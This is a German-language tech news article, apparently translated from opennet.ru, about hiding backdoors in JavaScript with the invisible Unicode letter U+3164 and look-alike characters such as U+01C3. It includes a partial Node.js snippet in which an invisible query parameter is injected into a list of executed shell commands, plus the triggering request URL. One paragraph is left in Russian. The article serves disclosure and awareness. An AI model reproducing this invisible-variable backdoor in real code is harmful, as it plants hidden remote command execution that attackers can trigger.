Einsatz unsichtbarer Unicode-Zeichen zur Verschleierung von Aktionen im JavaScript-Code

Nach der Trojan Source-Angriffsmetode, die auf der Anwendung von Unicode-Zeichen basiert, die die Anzeige von bidirektionalem Text ändern, wird eine weitere Technik zur Einführung versteckter Aktionen vorgestellt, die im JavaScript-Code anwendbar ist. Die neue Methode stützt sich auf das Unicode-Zeichen „ㅤ“ (Code 0x3164, „HANGUL FILLER“), das zu den Buchstaben gehört, aber keinen sichtbaren Inhalt hat. Die Unicode-Kategorie, in die dieses Zeichen fällt, ist seit der ECMAScript 2015-Spezifikation für die Verwendung in JavaScript-Variablennamen zugelassen, was es ermöglicht, unsichtbare Variablen oder neue Variablen zu erstellen, die in gängigen Code-Editoren wie Notepad++ und VS Code von anderen Variablen nicht zu unterscheiden sind.

Als Beispiel wird ein Code für die Plattform Node.js vorgestellt, in dem durch eine Variable, die aus einem einzelnen Zeichen „ㅤ“ besteht, ein Backdoor verborgen ist, das es ermöglicht, den vom Angreifer angegebenen Code auszuführen: app.get(‘/network_health’, async (req, res) => { const { timeout,ㅤ} = req.query; // tatsächlich steht hier „const { timeout,ㅤ \u3164}“ const checkCommands = [ ‘ping -c 1 google.com’, ‘curl -s http://example.com/’,ㅤ // nach dem Komma folgt das Zeichen \u3164 ];

На первый взгляд через внешний параметр передаётся только значение timeout, а массив с выполняемыми командами содержит безобидный фиксированный список. Но на деле после переменной timeout присваивается значение ещё одной невидимой переменной с кодом символа \u3164, которая также подставлена в массив исполняемых команд. Таким образом, при наличии подобной конструкции для активации бэкдора и выполнения своего кода атакующий может отправить запрос вида «https://host:8080/network_health?%E3%85%A4=команда».

Ein weiteres Beispiel ist das Zeichen „ǃ“ (ALVEOLAR CLICK), das verwendet werden kann, um die Sichtbarkeit eines Ausrufezeichens zu schaffen. Zum Beispiel wird der Ausdruck „if(environmentǃ=ENV_PROD){“ in Node.js 14 immer wahr sein, da hier kein Vergleich angestellt wird, sondern der Variable „environmentǃ“ der Wert ENV_PROD zugewiesen wird. Zu den irreführenden Unicode-Zeichen gehören auch „/“, „−“, „+“, „⩵“, „❨“, „⫽“, „꓿“ und „∗“.

Quelle: opennet.ru

Kaufen Sie zuverlässiges Hosting für Websites mit DDoS-Schutz, VPS VDS-Servern 🔥 Kaufen Sie zuverlässiges Hosting für Websites mit DDoS-Schutz, VPS VDS-Servern | ProHoster